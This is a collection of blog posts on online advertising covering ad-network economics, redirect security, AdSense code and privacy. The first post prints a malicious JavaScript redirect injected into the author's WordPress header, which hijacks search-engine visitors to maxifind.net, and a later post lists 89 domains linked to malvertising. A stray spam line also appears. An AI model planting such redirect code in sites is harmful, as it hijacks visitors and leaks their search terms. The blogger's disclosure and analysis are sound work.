Mike On Ads

Apologies to any visitors that were redirected away from my site to some random search site. I’m not quite sure how, but somehow the following was injected into my wordpress ‘header.php’ file:

<script>
	var r=document.referrer,t=\"\",q;
	if(r.indexOf(\"google.\")!=-1)t=\"q\";
	if(r.indexOf(\"msn.\")!=-1)t=\"q\";
	if(r.indexOf(\"yahoo.\")!=-1)t=\"p\";
	if(r.indexOf(\"altavista.\")!=-1)t=\"q\";
	if(r.indexOf(\"aol.\")!=-1)t=\"query\";
	if(r.indexOf(\"ask.\")!=-1)t=\"q\";
	if(t.length&&((q=r.indexOf(\"?\"+t+\"=\"))!=-1||(q=r.indexOf(\"&\"+t+\"=\"))!=-1))
		window.location=\"http://maxifind.net/index.php?pf_id=361&q=\"
                                     +r.substring(q+2+t.length).split(\"&\")[0];
</script>

The way the above code works is that if a user is referred to the site via a search engine the user is immediately redirected to “maxifind.net”, which then displays ads related to the keywords from the search engine referer string. For any adnetworks out there — as this code as mostly definitely NOT inserted by me!!! Looking from traffic logs it appears as if “exit rates” spikes dramatically late last week so thankfully it’s only been up for a ccouple days.

Any suggestions as to how this happened would be appreciated. In the meantime I’ve changed all passwds and am in the process of upgrading my WordPress (which I haven’t done in a year… oops). It definitely goes to show, unless you’re going to put significant effort in maintaining your own software it’s much better to leave the hosting to someone else!

I stumbled across an interesting post written by Ian Thomas from Microsoft — Online Advertising Business 101, Part I - The Online Advertising Value Chain. It’s a great basic read for anyone who wants to start with the basics of who does what in our industry.

I will point out that Ian is clearly on the tech side of the fence though — he draws the industry as a flow of impressions from publishers to advertisers, whereas most media focused folks will think of the reverse — money flowing from the advertiser to the publisher. If you have no clue what I”m talking about, check out my old post: Business or Tech.

Technology Doesn’t Work

For a technologist like myself, one of the more frustrating aspects of online advertising is that most technology companies don’t succeed. There are countless tech-focused startups, each of which has a new “technology solution” that will revolutionize social media, online branding, contextual classification or user categorization. Countless teams of great engineers who know build great products. Sadly, most make little or no money.

But it’s ONLINE advertising you say — isn’t the whole industry based on technology? If a bunch of bright entrepreneurs come up with some new technology shouldn’t they be able to make lots of money? Well here’s the problem: the whole industry is based on weak technical underpinnings — browser-side redirects and cookies — that make it incredibly difficult to integrate services across providers. The end result is that the online advertising market is controlled by media companies.

Media Makes Money

At the end of the day, everybody is trying to get a slice of the media dollar as it moves from the brand to the actual publisher. Whether it is vertical ad-networks who aggregate publishers to help make finding inventory easier, behavioral ad-networks who enrich user-data to help brands reach the right users or technology providers who ease the whole process — each is simply looking to take a cut of that dollar.

As a new company you have two options — start an ad-network and inject yourself directly into the money stream or selling your technology to one of the existing players in the food-chain. Realistically — most agencies and publishers aren’t very tech savvy, so as a cutting edge technology player you are primarily limited to selling to ad-networks. Here’s the problem — although running an ad-network can be a highly lucrative business — selling technology to one is not. Three reasons:

Integration Sucks

First and foremost there is the issue that the integration of your technology with a network will be a total pain. If anything needs to be installed directly (eg code level) with a serving system you might as well forget it. For the sake of this post — let’s assume that you can overcome that hurdle.

IP Ownership

Valuations in the industry are largely driven by technology platforms & solutions. A plain tech-free network will sell for 5x revenue whereas a tech platform can easily hit a 40x multiplier. This is why you see more and more networks popping up around “platforms” as they are hoping it will net them the big Yahoo or Google acquisition. When selling a technology solution to the network the natural response will often be — “We can’t outsource this”, or “We need to own this IP”.

Pricing is Hard

Once you have proven some ‘value’ it’s time to price your technology solution. Now Ad-networks make a business out of squeezing out margins. They buy inventory from some party, sell it back to another and take a certain percentage cut which ranges from 20-50%. Any fee, whether CPM or revenue-share, will directly impact the bottom line of the network — this means a low apetite for expensive software. Let’s walk through a pricing example:

A (purely hypothetical) example

Travelocity.com and is buying inventory from Advertising.com. Ad.com is short of direct travel based publishers and buys additional inventory from the vertical ad-network “Travel Ad Network” who ends up displaying the Travelocity ad on a website ilovetravel.com.

Travelocity pays Advertising.com $1.00 CPM for the inventory. Ad.com takes a 30% margin and pays Travel Ad-Network $0.70 CPM. TAN takes an additional 30% cut and pays the publisher $0.49 CPM. So in this scenario we see the following revenue:

So now here you are — you think you have a new way of optimizing travel-focused media by customizing the creative message per user and want to start your company. Let’s imagine that your new technology can improve the efficiency of travel ads by 50% and hence increases the value of impressions by 50% You have two choices, one is to go off and build some technology and try to sell it to Ad.com. The other is to start an advertiser-facing travel based network and get the deal directly from Travelocity. You cannot sell the technology directly to Travelocity since they do not have the technology or knowhow to implement your solution and you cannot sell to Travel Ad Network because they don’t have direct access to the creative.

For the sake of argument, let’s suspend disbelief and assume that there aren’t any integration challenges and there is a magic way in which you can seamlessly plugin your technology. Your technology increases Ad.com’s revenue by $0.15 CPM so let us assume that your sales team can negotiate a 50% revenue share, or a $0.075 CPM fee for your technology. In this case the revenue flow looks as follows:

Now if you became an ad-network and contacted Travelocity’s directly and offer to optimize their ad-campaign for them. On their behalf you will approach publishers, vertical ad-networks and other sources of inventory and use your “secret sauce” to increase their efficient by 50%. You get the deal and start buying ad-inventory from travel publisher, and of course, Travel Ad Network as well. Because your technology increases effectiveness by 50% you now spend $1.50 CPM on this ad-campaign, which means you take in your 30% ($0.45 CPM), and pay off the rest ($1.05 CPM) to Travel Ad-Network. In this scenario you see the revenue as follows:

See the difference? Selling pure tech gets you $0.075 CPM whereas starting the network gets you $0.045!! You make six times more money as a network and the worst part is this — it’s probably easier.

Final Thoughts

So the arguments above are obviously not very scientific — but I stand by the basic premise. This is why more and more we are seeing tech companies rebrand themselves as or launch new ad-networks. They are finding that the margins are much higher selling the inventory themselves. This in itself causes a whole new problem — hundreds and hundreds of new ad-networks. In essence, although each company individually is solving a specific problem with their technology it is causing a whole new problem of fragmentation.

PubMatic just released a new AdPrice Index which was immediately picked up by a rather frightening number of news sources: Business Week, ClickZ, The Washington Post to name just a few.

First off, serious kudos to the PubMatic team for releasing these numbers. This post is in no way meant to be negative to them, they’ve got a great service and by releasing this index they are upping the bar for everybody else — I wish everybody released a monthly report indicating their view of the market. Note that Rubicon had previously released a less statistical and more narrative Q1 Ad Network Market Report.

What I find somewhat surprising is the level of buzz the PubMatic release generated. Although I’m certain that the statistical quality of their numbers is good I want to point out that there is an inherent sample bias for the Index not only on the publishers selected but also the ad-inventory being analyzed. The publishers are ones that chose to signup for the PubMatic service to help them optimize revenue from Ad Networks. Next, PubMatic’s numbers reflect only the subset of inventory that was sent to PubMatic and the media dollars that inventory made based on the networks that work with PubMatic’s platform.

So even taking these numbers with a grain of salt there are probably enough pubs & networks that something happened in April… so surely it must be time to PANIC because we’re in this massive recession and online advertising is going to dry up and die … right?

Well, I’ll let you in on a little secret. Agencies have quarterly budgets. Each ad-campaign has a certain target revenue that needs to be spent by the end of the quarter, and since most publisher forecasting systems are prone to error there are a large # of campaigns that find that their guaranteed buys have under-delivered and are now nearing the end of the quarter with significant money left to spend. Where do they go? Ad-Networks. Through years at RM we saw the same thing year after year, quarter after quarter. March, June, September and December were always high in revenue, with December being particularly great with some nice “end of year” budgets moving to remnant display. So my guess — what we’re seeing is a normal cyclical trend, where Q1 budgets moved to Ad-Networks in March, disappeared in April and hence PubMatic saw a significant drop in revenue. Of course I could be wrong, but either way the media should certainly stop predicting the impending doom of the online-ad market.

More important than the actual numbers, I think that the reaction to this event shows how desperate we are for insight and visibility into what’s going on. How much money is flowing, and to which parties? What I’d like to see is the Quantcast 100 Advertising Index. Impressions, CPMs & revenue for the aggregate top-100 sites on the Net — now those would be numbers to analyze and report on!

There’s a great post from Christian Kreibich dissecting Adsense’s JavaScript. Near the very bottom there’s a little hidden nugget that I’m not sure Christian quite got the consequence of that I’d like to elaborate on (don’t worry if you don’t understand JS, I’ll explain!):

	    if (specialSites[doc.domain] && doc.domain == “ad.yieldmanager.com”) {
		var d = doc.URL.substring(doc.URL.lastIndexOf(”http”));
		win.google_page_url = d;
		win.google_page_location = doc.location;
		win.google_referrer_url = d;
	    } else {
		win.google_page_url = doc.referrer;
		if (! isTooSmall(win, doc)) {
		    win.google_page_url = doc.location;
		    win.google_last_modified_time = Date.parse(doc.lastModified) / 1000;
		    win.google_referrer_url = doc.referrer;
		}
	    }

Now you don’t need to be technical to get this. That first line basically says this — “If this is coming through ad.yieldmanager.com do something special.” As most of you probably know, ad.yieldmanager.com is the serving domain used by the Right Media Exchange, which of course encompasses a significant chunk of remnant inventory being sold online today. So what Google is doing with this code is something “special” in case the publisher’s referring domain contains the url ‘ad.yieldmanager.com’ — when the publisher is some party on the Right Media Exchange.

The next couple lines do some special manipulation on the referring URL. Now, it’s most likely that Google is simply pulling out the “&u=http://site.com” parameter (the “URL.lastIndexOf()” ) commonly seen in yieldmanager.com tags, which would be the URL of the actual website hosting the ad. Google could then be using this to drive contextual results in case it is wrapped in one too many IFRAMEs and can’t pull out the “document.url” parameter it normally uses. But it bring to light another possibility.

Rather than accuse Google of doing something bad (which they probably aren’t), let’s move this to a hypothetical situation — a network (Network Evil) is buying from a publisher (Pub Good) and wants to extract additional information to build a more detailed behavioral profile of the end user. “Good Pub” knows the age and gender of his users and passes that to his adserver for premium advertisers. This particular publisher doesn’t share this information with ad-networks for privacy reasons and only uses it for direct brand advertisers where he hosts the actual creative.

One of the easiest ways for the publisher to pass information to his adserver is to insert a query string parameter at the end of an ad-call. For example, I could append “&gender=male&age=21″ at the end of my IFRAME ad-call. My adserver could then interpret these values and my media-sales team can then target specific advertisements to men or women of certain ages on my site. The problem with this method is that ‘Network Evil’ could easily sniff this information

All ‘Network Evil’ has to do is log and then harvest data from referring URLs. With a little bit of clever javascript (or server side code) ‘Network Evil’ can dig through the publisher’s referring URL and use the age and gender passed in the querystring to better target his ads and even store this information in his own cookie.

Of course with this simple example there are a number of easy workarounds. First off, any smart publisher won’t pass “&gender=male&age=22″ into the querystring and instead use obfuscated or encrypted parameters. This makes extracting the information much more difficult. But, as I’ve shown before in this post, there are some clever tricks you can do with Javascript already to increase how much data you can retrieve from a partner. Rather than post a list of nasty ideas and get them in peoples heads I’ll leave things to your own imagination.

This brings me to the whole point of this post. It seems these days that everybody is an ad-network. We have vertical networks, publisher networks, behavioral networks, data networks, optimization networks, cpa networks…. each of which when it comes down to is buying and selling online media in some shape or form — often from each other! This is the problem — our partners are our competitors and our competitors are our partners.

The question becomes — how do you monitor and control what your partners/competitors do with the inventory or creatives you give them? How do you stop someone form stealing behavioral data? How do you audit the creative an ad-network shows? Of course you can put contractual obligations in place, but how do you audit those policies? How do you audit your partner’s partners? If one network buys male users from you and then resells them to the another network, how do you control and audit that neither network is storing that data for future use?

To date the answer has generally been two things: rudimentary technology solutions and trust. When it comes down to it, most companies simply trust that their buyers and sellers are going to adhere to the negotiated contract terms. Some may go an additional step and place some rudimentary technology solutions in place to help audit, but honestly true auditing is incredibly difficult and challenging (look at Errorsafe which is still happening!). This is why slip ups continue to happen. Data leaks, adult creatives end up on premium sites and brand ads are shown on spyware apps.

Is this really the way ads are still being traded in 2008?

In my last post I talked about redirects and the limitations they posed for online advertising. In this post I’m going to discuss the various workarounds that people have put in place to address the problem. I’m primarily going to focus on serving speed & the “one-way” challenges of redirects as there isn’t much that can be done to address the fact that redirects are inherently insecure.

Fundamentally when you are talking about “integrating” two different serving systems there are two key driving factors: tracking information and influencing the decision. In most cases tracking information is for either transparency or behavioral information. Influencing the decision is also often related to behavior as it’s close to impossible to transplant data from one cookie domain to another. So let’s look at three little ‘hacks’ that people do to make systems play nice.

Replacing a redirect with a tracking pixels

One of the primary reasons why agencies operate their own adservers is to be able to track the # of impressions that their publishing partners are serving. Yet a much simpler method of counting ads that doesn’t involve an entire redirect is to place an “impression tracking pixel” that the publisher (or network) shows on every ad call.

Let’s compare how an impression-tracking pixel impacts the serving speed compared to a more traditional redirect If both a publisher and an advertiser are using a serving system and are using standard redirects (or ad tags) to integrate, each ad call will result in three consecutive requests:

Call 1, Publisher’s Adserver. The first call obviously goes over to the publisher’s serving system. When the publisher’s adserver chooses an adserver he returns to the page either a 302 redirect or some javascript from the advertiser’s serving system. Effectively redirecting the user.

Call 2, Advertiser’s Adserver. In this call the advertiser receives the request, logs an impression and then spits back some HTML (or javascript) that tells the browser to download the ad, generally from a content delivery network (CDN).

Call 3, Creative Content. In the third call the browser requests the actual GIF/JPG/SWF file from a content delivery network and displays the ad.

If each call takes 250ms the total time to serve this ad will be 750ms as no call can occur until the prior one has fully completed. The browser doesn’t know where which advertiser adserver to request content from until he has fully received the publisher’s redirect and then the actual SWF file can’t be downloaded until the advertiser’s adserver has responded with the appropriate HTML.

When an advertiser passes the actual creative over to the publisher and includes an impression tracking pixel the ad-call sequence changes a bit.

Call 1, Publisher’s Adserver. The first call is still to the publisher’s serving system, except rather than returning the actual ad-tag (or redirect) to the advertiser the publisher’s system returns two things. One a call to the actual creative (SWF/GIF/JPG) hosted on his CDN and then a second pixel call to the advertiser’s impression tracking pixel.

Calls 2&3, Creative & Tracking Pixel. Because the user’s browser received both instructions it can now proceed to download both the creative and the tracking pixel in parallel.

If each call takes 250ms then the total time to serve this ad will be 500ms, 250 for the first publisher call and then another 250 for the creative & tracking pixel in parallel.

Benefits: The biggest benefit of the impression tracking pixel approach is that it decreases the time to serve an individual ad — something that will reduce discrepancies and increase the quality of the end user’s experience.

Drawbacks: Of course there are drawbacks with this approach. Trafficking both a creative and it’s associated impression tracking pixel is more work than a simple ad-tag. It also requires more coordination between the advertiser and the publisher

“Forking” an ad-call with an impression pixel

Impression pixels do not have to solely exist instead of a redirect. In fact, they can also be used to supplement existing ad-calls and let third parties “listen in” on an impression stream without giving them the power to manipulate an ad. For example, let’s say that a network uses the Right Media ‘NMX’ platform for their network adserving but is unhappy with the amount of information that he receives from the reporting systems. Said network’s advertisers demand more information from their media-buys — what can he do?

Obviously one answer is to add a redirect to every ad call — this quickly becomes complicated though as the network will have to host the actual gif & flash files, somewhat defeating the purpose of using a 3rd party network adserver. Also, many publishers won’t accept third party served ads from unknown adservers, posing an additional challenge when trying to buy tier-1 inventory.

Another way to address the issue is to insert a tracking pixel into every creative. On every ad-call the network fires off a pixel to his own tracking server which contains the key information that he is interested in — say — creative ID, publisher ID and referring URL. He can then log this information and provide the advertiser with the detailed reports showing exactly where his ads appeared without having to reinvent an adserver!

Using AJAX to load 3rd party content

AJAX has gained a lot of popularity recently. One way that people can integrate two serving systems is by inserting a small bit of javascript that loads the 3rd party content required to either track information or make a decision directly into the browser. For example, let’s say a network wants to know whether a behavioral data provider has valuable data on a user. If the behavioral partner he receives the impression and if not the publisher sends the impression over to one of his regular networks. He could insert a small bit of javascript that sends a request browser-side and loads the behavioral advertiser’s cookie data from the third party domain.

There are some benefits to this approach — timeouts could be set on the actual request limiting the potential slow-down. Also, since the third party isn’t in the redirect stream he doesn’t get full control over the entire impression. The downside is that the decision is made on the client side. This introduces a whole new set of challenges around tracking & writing cross-browser compatible JS.

All these methods are hacks

You’ve probably realized by now that most of the workarounds involve tricking the browser to load some content from different serving systems. Some schemes that I’ve seen get incredibly complex. I remember a customer who wanted to use Right Media’s serving system as the source of inventory but then inject behavioral information from his own cookie domain. The end result was that impressions came into the RM adserver, were redirected to his adserver and then were immediately redirected back to the RM serving system. That’s three ad-calls before an advertiser had even been selected!

That’s about it for now … Stay tuned for part III….

Most integrations between ad-companies that want better collaboration between their platforms/technologies/serving-systems involve inserting one parties ad/pixel/click call into the redirect stream. For example, if a Contextual engine wants to pass information about a page to an ad-network, the only real way to do that today is as follows:

1. Publisher replaces ad-call with a call to contextual provider
2. Users are now redirected to contextual provider first
3. Contextual provider checks the page, finds relevant keywords
4. Contextual provider redirects user to the ad-network with the relevant keywords inserted into the ad-call.

In reality most ad-calls involve multiple networks, each of which of course wants to integrate with various third-party technologies. The end result is an ad-call stream that can have four or five redirects before finally reaching the actual advertiser.

So what’s wrong with this you may ask? Well, there are a couple major issues with this redirect method of “integration”:

Redirects are inherently insecure. Redirects make the client’s browser responsible for “integration”. This means that any “integration” is entirely public, both to the end-user, any party that might be sniffing traffic in-between and perhaps most importantly — the party you are integrating with. When you insert a partner into the ad-call redirect stream they have full control over both the user’s cookie and the ad-request. Taking the contextual provider example above, the contextual engine that’s adding it’s data to the ad-request has the ability to start building a behavioral profile of the user, without you ever being the wiser.

Redirects slow down ad-requests. This results in a bad user-experience and dropped impressions. Each additional redirect results in about 3-5% of impressions lost. Of course this number varies on the speed of your serving systems and the end-users internet connection.

Redirects force linear one-way integration. Each party can only “pass off” the impression to the next — it is nearly impossible to reliably “pass back” information to the publisher who passed you the impression. This means that all impression level communication is ‘one-way’ — severely limiting the level of integration between companies. Why might you want ‘two-way’ communication? What if you could just ask a Network how much an individual user is worth to it? What if instead of having to insert a Contextual provider into the redirect stream you could just do a live ping? How about passing the user’s browsing history as you know it to an analytics company to build an “on-the-fly” profile? None of the above is easily done today.

This concept seems to be confusing to a lot of people, so in this post I thought I’d compare more traditional Web 2.0 “integration” without todays’ online advertising “integration.

The Traditional Web 2.0 Way

Let’s imagine that I decide that I want to display the 4 latest images from my Flickr account on the homepage of my website. To accomplish this I put some code into my web-server that pings the Flickr API on every page load and downloads the latest four photos that I’ve taken. The following diagram illustrates this:

Notice something very important — Flickr is never in direct communication with the user on my site. The only information they see is what my webserver sends them in the API request.

Of course this extra API call will slow down my site a little bit. The total time this takes to serve my homepage is limited by the speed of the user’s internet connection to my webserver plus the however long it takes for my webserver to query the Flickr API. If we assume the average cable modem can get to my site and back in about 500ms, and it takes my webserver about 100ms to query content from the Flickr API then the total time to serve my page will be a little over 600ms. If the Flickr API stops responding or slows down drastically I can simply time out the request after 200ms and serve my homepage without my favorite images. So the MAX response time is simply:

Now I decide that in addition to four Flickr photos I want to display four of my favorite Delicious bookmarks. So on each web-page request:

Notice that now my webserver goes off and sends off two concurrent parallel requests, one to Flickr and another to Delicious. Neither Flickr nor Delicious has direct access to my users as all communication must pass through my webserver first. Just as in the first example, I set a timeout of 200ms on both of my external API requests. So my response time:

Notice this is exactly the same max response time as with only a Flickr integration.

The Online Advertising Way

Now lets compare the “Web 2.0″ way with the online advertising way. Lets imagine that Mikeonads.com is working with “Network A”. Network A has contracted with a Contextual engine to scrape page content and extract relevant keywords for better targeted advertising. To do this the Network provided the publishers with an ad tag that points directly to the contextual provide. This means that every time a user visits Mikeonads.com he first requests the ad from the Contextual provider, who then redirects the user over to Network A inserting some relevant keywords into the ad-request. The following diagram illustrates this:

The first thing to notice here is that the user’s browser is actually making two completely separate sequential requests. This means that the contextual provider gets full access to his cookies on the user’s browser, and whatever information he can pull from server-headers & javascript: IP address, geo-location, page URL, etc. etc. Now some people might not care, but depending on the publisher this might be valuable data and fully exposing this is something that you really just want to avoid. This is the security risk I mentioned above.

Let’s analyze the response times. In this case, we have two separate requests to two separate serving systems. This means that the response time will be will be two round trips from the user’s browser to a serving system plus whatever processing time is required for each server. The reason we have to double up the user connection speed is because the browser cannot download the second request is until it has fully completed the first one. Taking the same 500ms round-trip number from above, and 10ms processing time we get:

Notice that this is already significantly slower than the Mikeonads<->Flickr integration. Now lets imagine that Network A decides that Mikeonads.com users aren’t very valuable and sells them off to Network B. In this case:

Now notice there are three different parties that each have full access to both the cookie and the javascript DOM tree. This means that each of these has an opportunity to install tracking cookies, install malicious software, etc. Maximum response time also increases drastically. We now have 3 full round-trips that happen sequentially, and hence our response time is:

Yikes! Total time has grown to 1.5s already! As you’ve probably deduced, if we throw in another serving system the time jumps to 2 seconds, add another we get to 2.5s. No wonder we lose 3-5% for every redirect! The problem simply gets worse and worse as the user’s internet connection gets slower.

The One-Way Limitation

I think the two examples above clearly show both the security & latency restrictions that arise from redirect based integration. The limitation of the “one way” are a little more subtle.

Control: Notice that in the ‘two-way’ Web 2.0 integration the Mikeonads webserver has an opportunity to make a decision based on the responses it receives from either Flickr or Delcious. For example, I could choose to exclude bookmarks tagged as “Suggestive in Nature”. In the online-ad example, Network A has no control over what content Network B returns to the user. There is nothing stopping Network B from showing an adult ad, or attempting to install some Malware on the user’s machine.

Accountability: Network A has no way of knowing whether Network B actually receives the impression. In fact, as mentioned earlier in many cases the user may simply browse to a new page before Network B has a chance to serve an ad. This leads to discrepancies in counting. In the two-way communication, not that Flickr cares, but if they were counting they would know exactly how many times Mikeonads served a web page with Flickr images.

Blindness: Before Network A redirects to Network B he has no clue what is going to happen financially. If he has a revenue-share agreement he doesn’t know how much money he will make until after the fact. Not only that, but there is no way for Network A to ever put an exact value on an individual impression as the data he receives back from Network B will be aggregated up.

There are many more subtle limitations as well. But rather than focus on listing them here, in the next post I will dig into the “one-wayness” of redirects, potential work-arounds and the gains to be had by fixing this problem.

I’m actually a bit embarassed here, this was sent to me about a month ago and got lost in my email with the general business of the holidays. Many thanks to Matt Cannon @ eType for doing all the research:

Spotted a variation on freecar: link. Appears to make a call to:
http://traffalo.com/statsa.php?campaign=cle9ne9t&u=1196943687109

So I then look at http://traffalo.com/ and do a WHOIS and get the IP:
http://www.networksolutions.com/whois/arin-details.jsp?domainTitle=traffalo.com&ip=190.15.73.254

I then find what is hosted on 190.15.73.254, and BINGO!

190.15.73.254 has address 190.15.73.254
Found 89 websites with the IP 190.15.73.254

1) FILEPROTECTOR.COM” gping=”&POS=81&CM=WPU&CE=62&CS=AWP&SR=62&sample=0
2) MYFAVOURITESEARCH.COM” gping=”&POS=74&CM=WPU&CE=55&CS=AWP&SR=55&sample=0
3) OPENSOLS.COM” gping=”&POS=83&CM=WPU&CE=64&CS=AWP&SR=64&sample=0
4) ad2cash.net” gping=”&POS=37&CM=WPU&CE=18&CS=AWP&SR=18&sample=0
5) ad2profit.com
6) adgurman.com” gping=”&POS=51&CM=WPU&CE=32&CS=AWP&SR=32&sample=0
7) adnetserver.com
adredired.com” gping=”&POS=47&CM=WPU&CE=28&CS=AWP&SR=28&sample=0
9) adtraff.com
10) adverdaemon.com
11) adverlounge.com” gping=”&POS=40&CM=WPU&CE=21&CS=AWP&SR=21&sample=0
12) adzyclon.com
13) all-search-it.com
14) antivirussecuritypro.com” gping=”&POS=99&CM=WPU&CE=80&CS=AWP&SR=80&sample=0
15) astalaprofit.com” gping=”&POS=38&CM=WPU&CE=19&CS=AWP&SR=19&sample=0
16) b2adz.com
17) b2adz.com” gping=”&POS=63&CM=WPU&CE=44&CS=AWP&SR=44&sample=0
18) bestadmedia.com” gping=”&POS=110&CM=WPU&CE=91&CS=AWP&SR=91&sample=0
19) besteversearch.com” gping=”&POS=113&CM=WPU&CE=94&CS=AWP&SR=94&sample=0
20) bestsearchnet.com
21) brandmarketads.com” gping=”&POS=39&CM=WPU&CE=20&CS=AWP&SR=20&sample=0
22) candid-search.com
23) cashloanprofit.com” gping=”&POS=36&CM=WPU&CE=17&CS=AWP&SR=17&sample=0
24) casinoaceking.com
25) co-search.com
26) deuscleanerpay.com” gping=”&POS=77&CM=WPU&CE=58&CS=AWP&SR=58&sample=0
27) didosearch.com
28) easybestdeals.com
29) eroticabsolute.com” gping=”&POS=27&CM=WPU&CE=8&CS=AWP&SR=8&sample=0
30) favourable-search.com
31) fileprotector.com
32) findbyall.com
33) freerepair.org
34) friedads.com” gping=”&POS=42&CM=WPU&CE=23&CS=AWP&SR=23&sample=0
35) fulsearch.com” gping=”&POS=114&CM=WPU&CE=95&CS=AWP&SR=95&sample=0
36) getfreecar.com
37) great4mac.com
38) kazilkasearch.com
39) libresystm.com” gping=”&POS=116&CM=WPU&CE=97&CS=AWP&SR=97&sample=0
40) loffersearch.com
41) luckyadsols.com” gping=”&POS=67&CM=WPU&CE=48&CS=AWP&SR=48&sample=0
42) magicsearcher.com” gping=”&POS=75&CM=WPU&CE=56&CS=AWP&SR=56&sample=0
43) manage-search.com
44) megashopcity.com
45) mightyfaq.com” gping=”&POS=43&CM=WPU&CE=24&CS=AWP&SR=24&sample=0
46) misc-search.com
47) moneycometrue.com” gping=”&POS=41&CM=WPU&CE=22&CS=AWP&SR=22&sample=0
48) moneypalacecash.com” gping=”&POS=118&CM=WPU&CE=99&CS=AWP&SR=99&sample=0
49) moneypalacecash.com” gping=”&POS=21&CM=WPU&CE=2&CS=AWP&SR=2&sample=0
50) myhealth-life.org” gping=”&POS=82&CM=WPU&CE=63&CS=AWP&SR=63&sample=0
51) myonlinefinance.com” gping=”&POS=94&CM=WPU&CE=75&CS=AWP&SR=75&sample=0
52) mysurvey4u.com
53) mytravelgeek.com” gping=”&POS=101&CM=WPU&CE=82&CS=AWP&SR=82&sample=0
54) netturbopro.com
55) opensols.com
56) pcsupercharger.com
57) popadprovider.com” gping=”&POS=65&CM=WPU&CE=46&CS=AWP&SR=46&sample=0
58) popupnukerpro.com
59) prizesforyou.com” gping=”&POS=100&CM=WPU&CE=81&CS=AWP&SR=81&sample=0
60) roller-search.com
61) rombic-search.com
62) rombic-search.com” gping=”&POS=32&CM=WPU&CE=13&CS=AWP&SR=13&sample=0
63) se7ensearch.com
64) search-the-prey.com
65) searchcolours.com” gping=”&POS=78&CM=WPU&CE=59&CS=AWP&SR=59&sample=0
66) searchmandrake.com
67) searchonline-ease.com
68) searchoperation.com
69) searchvirtuoso.com
70) sellmoresoft.com” gping=”&POS=97&CM=WPU&CE=78&CS=AWP&SR=78&sample=0
71) sellmosoft.net
72) selvascreensaver.com” gping=”&POS=102&CM=WPU&CE=83&CS=AWP&SR=83&sample=0
73) sharpadverts.com” gping=”&POS=66&CM=WPU&CE=47&CS=AWP&SR=47&sample=0
74) shivanetworking.com” gping=”&POS=62&CM=WPU&CE=43&CS=AWP&SR=43&sample=0
75) simplesamplesearch.com
76) softwcs.com” gping=”&POS=108&CM=WPU&CE=89&CS=AWP&SR=89&sample=0
77) stratosearch.com
78) tallgrass-seach.com
79) traveltray.com
80) treekindsearch.com
81) wewillfind.com” gping=”&POS=109&CM=WPU&CE=90&CS=AWP&SR=90&sample=0
82) wontu-search.com” gping=”&POS=46&CM=WPU&CE=27&CS=AWP&SR=27&sample=0
83) workhomecenter.com
84) yourseeker.com
85) yourshopz.com” gping=”&POS=103&CM=WPU&CE=84&CS=AWP&SR=84&sample=0
86) yourteacheronline.com” gping=”&POS=106&CM=WPU&CE=87&CS=AWP&SR=87&sample=0
87) zappinads.com” gping=”&POS=107&CM=WPU&CE=88&CS=AWP&SR=88&sample=0
88) zooworld-search.com
89) zooworld-search.com” gping=”&POS=30&CM=WPU&CE=11&CS=AWP&SR=11&sample=0

online pharmacycialisviagrasoma

Tired of hearing about Beacons? I know I am, so if you are, stop reading. (yes, that probably makes me a hypocrite for writing this post in the first place).

First off — It’s fascinating how the Silicon Valley love-fest can backfire like all hell. Just a few months ago Facebook was the best platform. Everyone proclaimed they were going to win, they had the winning API, they were so much cooler and better than Myspace. Kind of amazing how fast people will turn on you.

Second I’d like to point you to a Freakonomics post, “Why Is Family Guy Okay When Imus Wasn’t?”, which has probably the best explanation as to why this seems to have such a dramatic impact. Stephen asks why Imus got fired from his job for a bad racist comment when a show like Family guy airs similar or worse comments on a daily basis:

5. There is no real difference between the two, but the kind of big public storm that resulted in Imus being fired is essentially a random event, unpredictable and nearly inexplicable, and it typically arises when political, social, and media pressures all align just right. It can’t be concocted, or controlled. It happened to Imus because it happened; and it hasn’t happened to Family Guy just because it hasn’t.

Now to some extent this wasn’t a purely random event. Facebook has been the poster-child of the valley, so it was only a matter of time until they made a bad move. The fact that everyone happened to pick Beacons, more random.

What bugs me is that the media picked this particular invasion to draw attention to. You think Beacons are invasive? How about the fact that your ISP might be installing a sniffer box that not only tracks what you buy — it tracks everything. It tracks what movies you watch, what sites you go to, where you purchase things, how often you purchase things. I mean, that freaks me out a hell of a lot more than a little Facebook Beacon — because one you can control, the other you cannot. Don’t believe me? Check out: NebuAd or AdZilla. Or how about Errorsafe? The little program that installs on your machine and probably sniffs out and steals your credit card numbers when you buy something. It’s being distributed via advertising networks left & right, yet I don’t see much media attention there either.

Maybe it was part random, part fate — but Facebook has definitely gotten the full fury of the blogosphere thrown at it these past few weeks. So bloggers & journalists. We get the point — Facebook invades your privacy. It has from day one, showing your friends pictures, status updates, all sorts of things. Don’t like it? Stop using Facebook. In the meantime, please pay some attention to some more invasive and much scarier things, like Errorsafe or ISPs that sniff and sell your data without the opportunity to opt-out.

Greg Yardley wrote a nice post explaining how advertiser use pixels (also known as beacons) to track conversions. Nice read for those that don’t understand how conversion tracking happens.

I will disagree with Greg though that we haven’t had privacy online for a while — even though our actions are being tracked they are all on an anonymous basis. Facebook is the first that wants to tie this with a name. There’s a big difference between being able to say:

“A user with cookie ID #ace8748dff clicked on a Netflix ad at 10:45am on Nov 29th on mikeonads.com after having seen it four times and then signed up for a 30 day trial.”

and

“Mike Nolet bought Netflix today.”

I’m fine with the former, but the latter kind of freaks me out!